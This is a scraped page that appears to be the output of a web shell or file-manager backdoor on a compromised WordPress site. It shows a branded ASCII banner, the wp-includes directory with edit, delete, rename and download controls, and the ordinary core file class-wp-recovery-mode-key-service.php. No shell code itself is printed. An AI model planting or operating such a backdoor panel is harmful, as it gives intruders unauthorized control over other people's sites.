⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⢠⣴⣿⣿⣿⣷⣼⣿⠀⣴⠾⠷⠶⠦⡄⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢠⡤⢶⣦⣾⣿⣿⣿⣿⣿⣿⣿⠀⣿⣶⣶⣦⣄⠳⣤⣤⠄⠀⠀⠀ ⠀⠀⠀⢀⣼⣳⡿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣗⠈⠙⠻⣶⣄⡀⠀⠀⠀ ⠀⠀⠀⣰⠿⠁⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠈⠳⣤⠀⠀ ⠀⠀⢀⡟⠀⢰⣿⠟⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠁⠈⠻⣶⣄⠀⠀⠈⠛⢦ www.github.com/caterscam ⠀⣀⡼⠃⠀⣼⡟⠀⠀⢸⣿⡿⠉⣿⡿⠿⠛⣿⡄⠀⠀⠀⠙⠿⣆⠀⠀⠀⠈ ⠈⠁⠀⠀⢸⡟⠀⠀⠀⢸⣿⠀⠀⣿⠁⠀⠀⠈⠃⠀⠀⠀⠀⠀⠘⢷⡄⠀⠀ ⠀⠀⠀⠀⣼⠃⠀⠀⠀⢸⡟⠀⠀⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⡆⠀ ⠀⠀⠀⣠⡏⠀⠀⠀⠀⣼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠻⠃⠀⠀⠀⠀⣻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ Current Dir: /dom834884/wp-includes/ [DIR] ID3 [ delete | rename ] [DIR] IXR [ delete | rename ] [DIR] PHPMailer [ delete | rename ] [DIR] Requests [ delete | rename ] [DIR] SimplePie [ delete | rename ] [DIR] Text [ delete | rename ] [DIR] assets [ delete | rename ] [DIR] block-bindings [ delete | rename ] [DIR] block-patterns [ delete | rename ] [DIR] block-supports [ delete | rename ] [DIR] blocks [ delete | rename ] [DIR] certificates [ delete | rename ] [DIR] css [ delete | rename ] [DIR] customize [ delete | rename ] [DIR] fonts [ delete | rename ] [DIR] html-api [ delete | rename ] [DIR] images [ delete | rename ] [DIR] interactivity-api [ delete | rename ] [DIR] js [ delete | rename ] [DIR] l10n [ delete | rename ] [DIR] php-compat [ delete | rename ] [DIR] pomo [ delete | rename ] [DIR] rest-api [ delete | rename ] [DIR] sitemaps [ delete | rename ] [DIR] sodium_compat [ delete | rename ] [DIR] style-engine [ delete | rename ] [DIR] theme-compat [ delete | rename ] [DIR] widgets [ delete | rename ] [FILE] admin-bar.php [ edit | delete | rename | download ] [FILE] atomlib.php [ edit | delete | rename | download ] [FILE] author-template.php [ edit | delete | rename | download ] [FILE] block-bindings.php [ edit | delete | rename | download ] [FILE] block-editor.php [ edit | delete | rename | download ] [FILE] block-i18n.json [ edit | delete | rename | download ] [FILE] block-patterns.php [ edit | delete | rename | download ] [FILE] block-template-utils.php [ edit | delete | rename | download ] [FILE] block-template.php [ edit | delete | rename | download ] [FILE] blocks.php [ edit | delete | rename | download ] [FILE] bookmark-template.php [ edit | delete | rename | download ] [FILE] bookmark.php [ edit | delete | rename | download ] [FILE] cache-compat.php [ edit | delete | rename | download ] [FILE] cache.php [ edit | delete | rename | download ] [FILE] canonical.php [ edit | delete | rename | download ] [FILE] capabilities.php [ edit | delete | rename | download ] [FILE] category-template.php [ edit | delete | rename | download ] [FILE] category.php [ edit | delete | rename | download ] [FILE] class-IXR.php [ edit | delete | rename | download ] [FILE] class-avif-info.php [ edit | delete | rename | download ] [FILE] class-feed.php [ edit | delete | rename | download ] [FILE] class-http.php [ edit | delete | rename | download ] [FILE] class-json.php [ edit | delete | rename | download ] [FILE] class-oembed.php [ edit | delete | rename | download ] [FILE] class-phpass.php [ edit | delete | rename | download ] [FILE] class-phpmailer.php [ edit | delete | rename | download ] [FILE] class-pop3.php [ edit | delete | rename | download ] [FILE] class-requests.php [ edit | delete | rename | download ] [FILE] class-simplepie.php [ edit | delete | rename | download ] [FILE] class-smtp.php [ edit | delete | rename | download ] [FILE] class-snoopy.php [ edit | delete | rename | download ] [FILE] class-walker-category-dropdown.php [ edit | delete | rename | download ] [FILE] class-walker-category.php [ edit | delete | rename | download ] [FILE] class-walker-comment.php [ edit | delete | rename | download ] [FILE] class-walker-nav-menu.php [ edit | delete | rename | download ] [FILE] class-walker-page-dropdown.php [ edit | delete | rename | download ] [FILE] class-walker-page.php [ edit | delete | rename | download ] [FILE] class-wp-admin-bar.php [ edit | delete | rename | download ] [FILE] class-wp-ajax-response.php [ edit | delete | rename | download ] [FILE] class-wp-application-passwords.php [ edit | delete | rename | download ] [FILE] class-wp-block-bindings-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-bindings-source.php [ edit | delete | rename | download ] [FILE] class-wp-block-editor-context.php [ edit | delete | rename | download ] [FILE] class-wp-block-list.php [ edit | delete | rename | download ] [FILE] class-wp-block-metadata-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-parser-block.php [ edit | delete | rename | download ] [FILE] class-wp-block-parser-frame.php [ edit | delete | rename | download ] [FILE] class-wp-block-parser.php [ edit | delete | rename | download ] [FILE] class-wp-block-pattern-categories-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-patterns-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-styles-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-supports.php [ edit | delete | rename | download ] [FILE] class-wp-block-template.php [ edit | delete | rename | download ] [FILE] class-wp-block-templates-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-type-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-type.php [ edit | delete | rename | download ] [FILE] class-wp-block.php [ edit | delete | rename | download ] [FILE] class-wp-classic-to-block-menu-converter.php [ edit | delete | rename | download ] [FILE] class-wp-comment-query.php [ edit | delete | rename | download ] [FILE] class-wp-comment.php [ edit | delete | rename | download ] [FILE] class-wp-customize-control.php [ edit | delete | rename | download ] [FILE] class-wp-customize-manager.php [ edit | delete | rename | download ] [FILE] class-wp-customize-nav-menus.php [ edit | delete | rename | download ] [FILE] class-wp-customize-panel.php [ edit | delete | rename | download ] [FILE] class-wp-customize-section.php [ edit | delete | rename | download ] [FILE] class-wp-customize-setting.php [ edit | delete | rename | download ] [FILE] class-wp-customize-widgets.php [ edit | delete | rename | download ] [FILE] class-wp-date-query.php [ edit | delete | rename | download ] [FILE] class-wp-dependencies.php [ edit | delete | rename | download ] [FILE] class-wp-dependency.php [ edit | delete | rename | download ] [FILE] class-wp-duotone.php [ edit | delete | rename | download ] [FILE] class-wp-editor.php [ edit | delete | rename | download ] [FILE] class-wp-embed.php [ edit | delete | rename | download ] [FILE] class-wp-error.php [ edit | delete | rename | download ] [FILE] class-wp-exception.php [ edit | delete | rename | download ] [FILE] class-wp-fatal-error-handler.php [ edit | delete | rename | download ] [FILE] class-wp-feed-cache-transient.php [ edit | delete | rename | download ] [FILE] class-wp-feed-cache.php [ edit | delete | rename | download ] [FILE] class-wp-hook.php [ edit | delete | rename | download ] [FILE] class-wp-http-cookie.php [ edit | delete | rename | download ] [FILE] class-wp-http-curl.php [ edit | delete | rename | download ] [FILE] class-wp-http-encoding.php [ edit | delete | rename | download ] [FILE] class-wp-http-ixr-client.php [ edit | delete | rename | download ] [FILE] class-wp-http-proxy.php [ edit | delete | rename | download ] [FILE] class-wp-http-requests-hooks.php [ edit | delete | rename | download ] [FILE] class-wp-http-requests-response.php [ edit | delete | rename | download ] [FILE] class-wp-http-response.php [ edit | delete | rename | download ] [FILE] class-wp-http-streams.php [ edit | delete | rename | download ] [FILE] class-wp-http.php [ edit | delete | rename | download ] [FILE] class-wp-image-editor-gd.php [ edit | delete | rename | download ] [FILE] class-wp-image-editor-imagick.php [ edit | delete | rename | download ] [FILE] class-wp-image-editor.php [ edit | delete | rename | download ] [FILE] class-wp-list-util.php [ edit | delete | rename | download ] [FILE] class-wp-locale-switcher.php [ edit | delete | rename | download ] [FILE] class-wp-locale.php [ edit | delete | rename | download ] [FILE] class-wp-matchesmapregex.php [ edit | delete | rename | download ] [FILE] class-wp-meta-query.php [ edit | delete | rename | download ] [FILE] class-wp-metadata-lazyloader.php [ edit | delete | rename | download ] [FILE] class-wp-navigation-fallback.php [ edit | delete | rename | download ] [FILE] class-wp-network-query.php [ edit | delete | rename | download ] [FILE] class-wp-network.php [ edit | delete | rename | download ] [FILE] class-wp-object-cache.php [ edit | delete | rename | download ] [FILE] class-wp-oembed-controller.php [ edit | delete | rename | download ] [FILE] class-wp-oembed.php [ edit | delete | rename | download ] [FILE] class-wp-paused-extensions-storage.php [ edit | delete | rename | download ] [FILE] class-wp-phpmailer.php [ edit | delete | rename | download ] [FILE] class-wp-plugin-dependencies.php [ edit | delete | rename | download ] [FILE] class-wp-post-type.php [ edit | delete | rename | download ] [FILE] class-wp-post.php [ edit | delete | rename | download ] [FILE] class-wp-query.php [ edit | delete | rename | download ] [FILE] class-wp-recovery-mode-cookie-service.php [ edit | delete | rename | download ] [FILE] class-wp-recovery-mode-email-service.php [ edit | delete | rename | download ] [FILE] class-wp-recovery-mode-key-service.php [ edit | delete | rename | download ] [FILE] class-wp-recovery-mode-link-service.php [ edit | delete | rename | download ] [FILE] class-wp-recovery-mode.php [ edit | delete | rename | download ] [FILE] class-wp-rewrite.php [ edit | delete | rename | download ] [FILE] class-wp-role.php [ edit | delete | rename | download ] [FILE] class-wp-roles.php [ edit | delete | rename | download ] [FILE] class-wp-script-modules.php [ edit | delete | rename | download ] [FILE] class-wp-scripts.php [ edit | delete | rename | download ] [FILE] class-wp-session-tokens.php [ edit | delete | rename | download ] [FILE] class-wp-simplepie-file.php [ edit | delete | rename | download ] [FILE] class-wp-simplepie-sanitize-kses.php [ edit | delete | rename | download ] [FILE] class-wp-site-query.php [ edit | delete | rename | download ] [FILE] class-wp-site.php [ edit | delete | rename | download ] [FILE] class-wp-speculation-rules.php [ edit | delete | rename | download ] [FILE] class-wp-styles.php [ edit | delete | rename | download ] [FILE] class-wp-tax-query.php [ edit | delete | rename | download ] [FILE] class-wp-taxonomy.php [ edit | delete | rename | download ] [FILE] class-wp-term-query.php [ edit | delete | rename | download ] [FILE] class-wp-term.php [ edit | delete | rename | download ] [FILE] class-wp-text-diff-renderer-inline.php [ edit | delete | rename | download ] [FILE] class-wp-text-diff-renderer-table.php [ edit | delete | rename | download ] [FILE] class-wp-textdomain-registry.php [ edit | delete | rename | download ] [FILE] class-wp-theme-json-data.php [ edit | delete | rename | download ] [FILE] class-wp-theme-json-resolver.php [ edit | delete | rename | download ] [FILE] class-wp-theme-json-schema.php [ edit | delete | rename | download ] [FILE] class-wp-theme-json.php [ edit | delete | rename | download ] [FILE] class-wp-theme.php [ edit | delete | rename | download ] [FILE] class-wp-token-map.php [ edit | delete | rename | download ] [FILE] class-wp-url-pattern-prefixer.php [ edit | delete | rename | download ] [FILE] class-wp-user-meta-session-tokens.php [ edit | delete | rename | download ] [FILE] class-wp-user-query.php [ edit | delete | rename | download ] [FILE] class-wp-user-request.php [ edit | delete | rename | download ] [FILE] class-wp-user.php [ edit | delete | rename | download ] [FILE] class-wp-walker.php [ edit | delete | rename | download ] [FILE] class-wp-widget-factory.php [ edit | delete | rename | download ] [FILE] class-wp-widget.php [ edit | delete | rename | download ] [FILE] class-wp-xmlrpc-server.php [ edit | delete | rename | download ] [FILE] class-wp.php [ edit | delete | rename | download ] [FILE] class-wpdb.php [ edit | delete | rename | download ] [FILE] class.wp-dependencies.php [ edit | delete | rename | download ] [FILE] class.wp-scripts.php [ edit | delete | rename | download ] [FILE] class.wp-styles.php [ edit | delete | rename | download ] [FILE] comment-template.php [ edit | delete | rename | download ] [FILE] comment.php [ edit | delete | rename | download ] [FILE] compat.php [ edit | delete | rename | download ] [FILE] cron.php [ edit | delete | rename | download ] [FILE] date.php [ edit | delete | rename | download ] [FILE] default-constants.php [ edit | delete | rename | download ] [FILE] default-filters.php [ edit | delete | rename | download ] [FILE] default-widgets.php [ edit | delete | rename | download ] [FILE] deprecated.php [ edit | delete | rename | download ] [FILE] embed-template.php [ edit | delete | rename | download ] [FILE] embed.php [ edit | delete | rename | download ] [FILE] error-protection.php [ edit | delete | rename | download ] [FILE] feed-atom-comments.php [ edit | delete | rename | download ] [FILE] feed-atom.php [ edit | delete | rename | download ] [FILE] feed-rdf.php [ edit | delete | rename | download ] [FILE] feed-rss.php [ edit | delete | rename | download ] [FILE] feed-rss2-comments.php [ edit | delete | rename | download ] [FILE] feed-rss2.php [ edit | delete | rename | download ] [FILE] feed.php [ edit | delete | rename | download ] [FILE] fonts.php [ edit | delete | rename | download ] [FILE] formatting.php [ edit | delete | rename | download ] [FILE] functions.php [ edit | delete | rename | download ] [FILE] functions.wp-scripts.php [ edit | delete | rename | download ] [FILE] functions.wp-styles.php [ edit | delete | rename | download ] [FILE] general-template.php [ edit | delete | rename | download ] [FILE] global-styles-and-settings.php [ edit | delete | rename | download ] [FILE] http.php [ edit | delete | rename | download ] [FILE] https-detection.php [ edit | delete | rename | download ] [FILE] https-migration.php [ edit | delete | rename | download ] [FILE] kses.php [ edit | delete | rename | download ] [FILE] l10n.php [ edit | delete | rename | download ] [FILE] link-template.php [ edit | delete | rename | download ] [FILE] load.php [ edit | delete | rename | download ] [FILE] locale.php [ edit | delete | rename | download ] [FILE] media-template.php [ edit | delete | rename | download ] [FILE] media.php [ edit | delete | rename | download ] [FILE] meta.php [ edit | delete | rename | download ] [FILE] ms-blogs.php [ edit | delete | rename | download ] [FILE] ms-default-constants.php [ edit | delete | rename | download ] [FILE] ms-default-filters.php [ edit | delete | rename | download ] [FILE] ms-deprecated.php [ edit | delete | rename | download ] [FILE] ms-files.php [ edit | delete | rename | download ] [FILE] ms-functions.php [ edit | delete | rename | download ] [FILE] ms-load.php [ edit | delete | rename | download ] [FILE] ms-network.php [ edit | delete | rename | download ] [FILE] ms-settings.php [ edit | delete | rename | download ] [FILE] ms-site.php [ edit | delete | rename | download ] [FILE] nav-menu-template.php [ edit | delete | rename | download ] [FILE] nav-menu.php [ edit | delete | rename | download ] [FILE] option.php [ edit | delete | rename | download ] [FILE] pluggable-deprecated.php [ edit | delete | rename | download ] [FILE] pluggable.php [ edit | delete | rename | download ] [FILE] plugin.php [ edit | delete | rename | download ] [FILE] post-formats.php [ edit | delete | rename | download ] [FILE] post-template.php [ edit | delete | rename | download ] [FILE] post-thumbnail-template.php [ edit | delete | rename | download ] [FILE] post.php [ edit | delete | rename | download ] [FILE] query.php [ edit | delete | rename | download ] [FILE] registration-functions.php [ edit | delete | rename | download ] [FILE] registration.php [ edit | delete | rename | download ] [FILE] rest-api.php [ edit | delete | rename | download ] [FILE] revision.php [ edit | delete | rename | download ] [FILE] rewrite.php [ edit | delete | rename | download ] [FILE] robots-template.php [ edit | delete | rename | download ] [FILE] rss-functions.php [ edit | delete | rename | download ] [FILE] rss.php [ edit | delete | rename | download ] [FILE] script-loader.php [ edit | delete | rename | download ] [FILE] script-modules.php [ edit | delete | rename | download ] [FILE] session.php [ edit | delete | rename | download ] [FILE] shortcodes.php [ edit | delete | rename | download ] [FILE] sitemaps.php [ edit | delete | rename | download ] [FILE] speculative-loading.php [ edit | delete | rename | download ] [FILE] spl-autoload-compat.php [ edit | delete | rename | download ] [FILE] style-engine.php [ edit | delete | rename | download ] [FILE] taxonomy.php [ edit | delete | rename | download ] [FILE] template-canvas.php [ edit | delete | rename | download ] [FILE] template-loader.php [ edit | delete | rename | download ] [FILE] template.php [ edit | delete | rename | download ] [FILE] theme-i18n.json [ edit | delete | rename | download ] [FILE] theme-previews.php [ edit | delete | rename | download ] [FILE] theme-templates.php [ edit | delete | rename | download ] [FILE] theme.json [ edit | delete | rename | download ] [FILE] theme.php [ edit | delete | rename | download ] [FILE] update.php [ edit | delete | rename | download ] [FILE] user.php [ edit | delete | rename | download ] [FILE] vars.php [ edit | delete | rename | download ] [FILE] version.php [ edit | delete | rename | download ] [FILE] widgets.php [ edit | delete | rename | download ] [FILE] wp-db.php [ edit | delete | rename | download ] [FILE] wp-diff.php [ edit | delete | rename | download ] Viewing: /dom834884/wp-includes/class-wp-recovery-mode-key-service.php <?php /** * Error Protection API: WP_Recovery_Mode_Key_Service class * * @package WordPress * @since 5.2.0 */ /** * Core class used to generate and validate keys used to enter Recovery Mode. * * @since 5.2.0 */ #[AllowDynamicProperties] final class WP_Recovery_Mode_Key_Service { /** * The option name used to store the keys. * * @since 5.2.0 * @var string */ private $option_name = 'recovery_keys'; /** * Creates a recovery mode token. * * @since 5.2.0 * * @return string A random string to identify its associated key in storage. */ public function generate_recovery_mode_token() { return wp_generate_password( 22, false ); } /** * Creates a recovery mode key. * * @since 5.2.0 * @since 6.8.0 The stored key is now hashed using wp_fast_hash() instead of phpass. * * @param string $token A token generated by {@see generate_recovery_mode_token()}. * @return string Recovery mode key. */ public function generate_and_store_recovery_mode_key( $token ) { $key = wp_generate_password( 22, false ); $records = $this->get_keys(); $records[ $token ] = array( 'hashed_key' => wp_fast_hash( $key ), 'created_at' => time(), ); $this->update_keys( $records ); /** * Fires when a recovery mode key is generated. * * @since 5.2.0 * * @param string $token The recovery data token. * @param string $key The recovery mode key. */ do_action( 'generate_recovery_mode_key', $token, $key ); return $key; } /** * Verifies if the recovery mode key is correct. * * Recovery mode keys can only be used once; the key will be consumed in the process. * * @since 5.2.0 * * @param string $token The token used when generating the given key. * @param string $key The plain text key. * @param int $ttl Time in seconds for the key to be valid for. * @return true|WP_Error True on success, error object on failure. */ public function validate_recovery_mode_key( $token, $key, $ttl ) { $records = $this->get_keys(); if ( ! isset( $records[ $token ] ) ) { return new WP_Error( 'token_not_found', __( 'Recovery Mode not initialized.' ) ); } $record = $records[ $token ]; $this->remove_key( $token ); if ( ! is_array( $record ) || ! isset( $record['hashed_key'], $record['created_at'] ) ) { return new WP_Error( 'invalid_recovery_key_format', __( 'Invalid recovery key format.' ) ); } if ( ! wp_verify_fast_hash( $key, $record['hashed_key'] ) ) { return new WP_Error( 'hash_mismatch', __( 'Invalid recovery key.' ) ); } if ( time() > $record['created_at'] + $ttl ) { return new WP_Error( 'key_expired', __( 'Recovery key expired.' ) ); } return true; } /** * Removes expired recovery mode keys. * * @since 5.2.0 * * @param int $ttl Time in seconds for the keys to be valid for. */ public function clean_expired_keys( $ttl ) { $records = $this->get_keys(); foreach ( $records as $key => $record ) { if ( ! isset( $record['created_at'] ) || time() > $record['created_at'] + $ttl ) { unset( $records[ $key ] ); } } $this->update_keys( $records ); } /** * Removes a used recovery key. * * @since 5.2.0 * * @param string $token The token used when generating a recovery mode key. */ private function remove_key( $token ) { $records = $this->get_keys(); if ( ! isset( $records[ $token ] ) ) { return; } unset( $records[ $token ] ); $this->update_keys( $records ); } /** * Gets the recovery key records. * * @since 5.2.0 * @since 6.8.0 Each key is now hashed using wp_fast_hash() instead of phpass. * Existing keys may still be hashed using phpass. * * @return array { * Associative array of token => data pairs, where the data is an associative * array of information about the key. * * @type array ...$0 { * Information about the key. * * @type string $hashed_key The hashed value of the key. * @type int $created_at The timestamp when the key was created. * } * } */ private function get_keys() { return (array) get_option( $this->option_name, array() ); } /** * Updates the recovery key records. * * @since 5.2.0 * @since 6.8.0 Each key should now be hashed using wp_fast_hash() instead of phpass. * * @param array $keys { * Associative array of token => data pairs, where the data is an associative * array of information about the key. * * @type array ...$0 { * Information about the key. * * @type string $hashed_key The hashed value of the key. * @type int $created_at The timestamp when the key was created. * } * } * @return bool True on success, false on failure. */ private function update_keys( array $keys ) { return update_option( $this->option_name, $keys, false ); } }